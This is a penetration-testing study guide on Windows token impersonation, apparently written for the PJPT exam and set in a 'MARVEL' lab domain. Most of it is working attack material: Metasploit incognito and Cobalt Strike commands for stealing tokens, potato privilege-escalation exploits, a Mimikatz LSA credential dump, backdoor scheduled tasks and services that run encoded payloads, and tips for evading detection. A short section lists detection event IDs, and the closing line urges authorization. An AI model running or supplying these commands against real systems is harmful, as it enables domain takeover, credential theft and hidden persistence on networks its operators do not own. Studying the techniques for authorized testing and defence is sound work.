Token Impersonation

Overview

Token impersonation is a post-exploitation technique that allows attackers to impersonate other users by stealing and using their access tokens. This is particularly effective after successful credential compromise, lateral movement, or privilege escalation attacks.

What are Tokens?

Definition

• Access Tokens: Temporary keys that allow access to a system/network without providing credentials each time

• Function: Think of them as "cookies for computers"

• Purpose: Enable seamless access to resources without repeated authentication

Token Types

Delegate Tokens

• Purpose: Created for logging into a machine or using Remote Desktop

• Characteristics:

  • Interactive logon sessions

  • Full user privileges

  • Can be used for network authentication

  • Higher privilege level

Impersonate Tokens

• Purpose: "Non-interactive" operations

• Use Cases:

  • Attaching network drives

  • Domain logon scripts

  • Automated services

• Characteristics:

  • Limited functionality

  • Cannot be used for interactive logons

  • Lower privilege level

Token Discovery and Enumeration

Using Incognito (Metasploit)

# Load incognito module in meterpreter
load incognito

# List available tokens
list_tokens -u

# Example output:
Delegation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
MARVEL\Administrator      # <- HIGH VALUE TARGET!
MARVEL\fcastle
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1

Impersonation Tokens Available
========================================
No tokens available

Using PowerShell

# Import the module
Import-Module .\Invoke-TokenManipulation.ps1

# List available tokens
Invoke-TokenManipulation -ShowAll

# Impersonate specific user
Invoke-TokenManipulation -ImpersonateUser -Username "domain\administrator"

Token Impersonation Techniques

Method 1: Incognito (Metasploit)

# 1. Get meterpreter session as SYSTEM or high-privilege user
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

# 2. Load incognito module
meterpreter > load incognito
Loading extension incognito...Success.

# 3. List available tokens
meterpreter > list_tokens -u

# 4. Impersonate high-value token
meterpreter > impersonate_token DOMAIN\\Administrator
[+] Delegation token successfully impersonated (user: DOMAIN\Administrator)

# 5. Verify impersonation
meterpreter > getuid
Server username: DOMAIN\Administrator

# 6. Drop to shell and confirm
meterpreter > shell
C:\> whoami
domain\administrator

Method 2: Manual Token Manipulation

# Check current privileges
whoami /priv

# Look for key privileges:
# - SeImpersonatePrivilege
# - SeAssignPrimaryTokenPrivilege
# - SeDebugPrivilege

# If you have these privileges, you can use various tools
# to perform token impersonation

Practical Attack Scenarios

Scenario 1: Post-Kerberoasting Token Hunt

# After successful Kerberoasting and gaining access to a system
# 1. Use compromised service account to access target system
psexec.py domain.local/serviceaccount:[e-mail]

# 2. Once on system, escalate to SYSTEM if possible
# Use local exploits, potato attacks, etc.

# 3. Look for administrator tokens in memory
meterpreter > load incognito
meterpreter > list_tokens -u

# 4. If Domain Admin token found, impersonate it
meterpreter > impersonate_token DOMAIN\\Administrator

# 5. Now operating as Domain Administrator

Scenario 2: Complete Token Impersonation Workflow

# Meterpreter session - hunting for high-value tokens
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-2
MARVEL\Administrator    # <- JACKPOT! Domain Admin token
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-2

Impersonation Tokens Available
========================================
No tokens available

# Perfect scenario - Domain Administrator token available!
# This is the highest value target possible

# Execute token impersonation
meterpreter > impersonate_token MARVEL\\administrator
[+] Delegation token successfully impersonated (user: MARVEL\administrator)

# Verify impersonation success
meterpreter > getuid
Server username: MARVEL\administrator

# Drop to shell and confirm Domain Admin access
meterpreter > shell
C:\> whoami
marvel\administrator

# Test domain admin privileges
C:\> net user administrator /domain
# Should show full domain admin information

# Access domain controller
C:\> dir \\dc.marvel.local\c$
# Should have full access to DC

# Extract domain credentials
C:\> dcdiag
C:\> nltest /domain_trusts

Scenario 3: Real-World Token Enumeration

# Meterpreter session as NT AUTHORITY\SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

# Load incognito for token manipulation
meterpreter > load incognito
Loading extension incognito...Success.

# List available tokens
meterpreter > list_tokens -u

Delegation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
MARVEL\fcastle            # <- Domain user token
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Window Manager\DWM-1

# Token Priority Analysis:
# 1. MARVEL\fcastle - Domain user token (investigate further)
# 2. NT AUTHORITY\SYSTEM - Already have this
# 3. Service tokens - Limited privileges

Scenario 4: Post-Impersonation Actions and Limitations

# After successful token impersonation as marvel\fcastle
meterpreter > impersonate_token MARVEL\\fcastle
[+] Delegation token successfully impersonated (user: MARVEL\fcastle)

meterpreter > shell
C:\Windows\system32> whoami
marvel\fcastle

# Attempt to dump LSA hashes with Mimikatz
PS C:\> Invoke-Mimikatz -Command '"privilege::debug" "LSADump::LSA /inject" exit' -Computer HYDRA.marvel.local

# Result: Access Denied Error
Access is denied. For more information, see the about Remote Troubleshooting Help topic.

# Analysis: 
# - Token impersonation successful
# - User fcastle lacks administrative privileges 
# - Cannot dump LSA hashes
# - Need further privilege escalation or find admin tokens

Understanding Token Limitations

Common Limitations After Impersonation

# 1. User token may not have admin rights
# 2. Cannot access protected resources (like LSA)
# 3. May not have SeDebugPrivilege
# 4. Limited to user's actual domain permissions

# Check current privileges after impersonation
whoami /priv
# Look for critical privileges:
# - SeDebugPrivilege (needed for memory access)
# - SeImpersonatePrivilege (allows further token manipulation)
# - SeLoadDriverPrivilege (driver loading)
# - SeTcbPrivilege (trusted computer base)

# Check group memberships
whoami /groups
# Look for admin groups:
# - Domain Admins
# - Enterprise Admins  
# - Local Administrators
# - Backup Operators

Next Steps When Access Denied

# If access denied for high-privilege operations:

# 1. Enumerate user permissions more thoroughly
net user username /domain
net group "Domain Admins" /domain
net group "Enterprise Admins" /domain

# 2. Look for other escalation paths
# - Check for other high-privilege tokens
# - Look for vulnerable services
# - Search for credentials in files/registry

# 3. Attempt lateral movement to find admin tokens
# Use current token to access other systems
dir \\server1.domain.local\c$
dir \\server2.domain.local\c$

# 4. Try alternative credential dumping methods
# If LSA dump fails, try other approaches:
# - SAM database dump
# - Registry credential extraction
# - Process memory dumping

Token Hunting Strategies

PowerShell Token Hunting Script

# Script to hunt for valuable tokens
function Hunt-Tokens {
    $tokens = Invoke-TokenManipulation -ShowAll
    $highValueUsers = @("administrator", "domain admin", "enterprise admin", "backup operators")
    
    foreach ($token in $tokens) {
        foreach ($user in $highValueUsers) {
            if ($token -like "*$user*") {
                Write-Host "[+] High-value token found: $token" -ForegroundColor Green
            }
        }
    }
}

Hunt-Tokens

Token Priority Matrix

# Priority 1: Domain Admin Tokens
DOMAIN\Administrator
DOMAIN\DA-Account
ENTERPRISE\EnterpriseAdmin

# Priority 2: Local Admin Tokens  
NT AUTHORITY\SYSTEM (if not already have)
MACHINE\Administrator
Backup Operators

# Priority 3: Service Account Tokens
SQL Service accounts
IIS Application Pool accounts
Exchange service accounts

# Priority 4: Regular User Tokens
Standard domain users
Local users with limited rights

Advanced Token Techniques

Token Stealing with Cobalt Strike

# Steal token from specific process
steal_token <pid>

# Make token for specific user (if you have credentials)
make_token domain\user password

# List current token
getuid

# Revert to original token
rev2self

Potato Attacks for Token Impersonation

# If service account has SeImpersonatePrivilege
# Use potato attacks to escalate to SYSTEM

# JuicyPotato (Windows 7-10, Server 2008-2016)
JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {CLSID}

# RoguePotato (newer systems)
RoguePotato.exe -r 192.168.1.100 -e "cmd.exe" -l 1337

# PrintSpoofer (Windows 10/2019+)
PrintSpoofer.exe -i -c cmd.exe

# After gaining SYSTEM, look for admin tokens
load incognito
list_tokens -u
impersonate_token DOMAIN\\Administrator

Token Persistence

Method 1: Schedule Task with Token

# Create persistent access using stolen tokens
schtasks /create /tn "UpdateTask" /tr "powershell.exe -enc <encoded_payload>" /sc onlogon /ru domain\administrator /rp password

Method 2: Service Creation

# Create service with impersonated token context
sc create BackdoorSvc binpath= "cmd.exe /c powershell.exe -enc <payload>" obj= "domain\administrator" password= "password"

Detection and Evasion

Token Impersonation Detection

# Event IDs to monitor:
# - 4624: Successful logon (look for logon type 3 with unusual accounts)
# - 4648: Logon using explicit credentials
# - 4672: Special privileges assigned to new logon
# - 4769: Kerberos service ticket requested (if using domain tokens)

# PowerShell detection example
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4648} | 
Where-Object {$_.Properties[5].Value -ne $_.Properties[6].Value} |
Select-Object TimeCreated, @{Name='SourceUser';Expression={$_.Properties[5].Value}}, @{Name='TargetUser';Expression={$_.Properties[6].Value}}

Evasion Techniques

# 1. Minimize time spent with impersonated token
impersonate_token DOMAIN\\Administrator
# Do what you need quickly
rev2self

# 2. Use legitimate-looking process names
# Instead of cmd.exe, use:
# - powershell.exe
# - rundll32.exe  
# - regsvr32.exe

# 3. Avoid well-known admin account names if possible
# Target: backup operators, service accounts, etc.

Tool Reference

Native Windows Tools

# whoami - Check current token information
whoami /all
whoami /priv
whoami /groups

# runas - Run commands as different user  
runas /user:domain\administrator cmd.exe

Third-Party Tools

# Incognito (Metasploit module) - Token impersonation
# Invoke-TokenManipulation.ps1 - PowerShell token manipulation
# Cobalt Strike - Advanced token operations
# JuicyPotato/RoguePotato - Privilege escalation to get tokens
# PrintSpoofer - Modern privilege escalation

PJPT Exam Tips

For the PJPT Exam

1. Always check for tokens after gaining SYSTEM access

   load incognito
   list_tokens -u

2. Prioritize high-value tokens

   • Domain Admin accounts

   • Enterprise Admin accounts

   • Backup Operators

   • Service accounts with elevated rights

3. Document token impersonation steps clearly

   • Show before/after whoami output

   • Document which tokens were available

   • Explain why specific tokens were chosen

4. Have backup plans when token impersonation fails

   • Credential dumping

   • Lateral movement

   • Alternative privilege escalation

5. Common PJPT token impersonation workflow:

   # 1. Gain initial access
   # 2. Escalate to SYSTEM (if needed)
   # 3. Hunt for tokens
   # 4. Impersonate high-value token
   # 5. Perform domain enumeration/lateral movement
   # 6. Document findings

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Note: Always ensure proper authorization before conducting token impersonation attacks. These techniques should only be used in authorized penetration testing scenarios or controlled lab environments.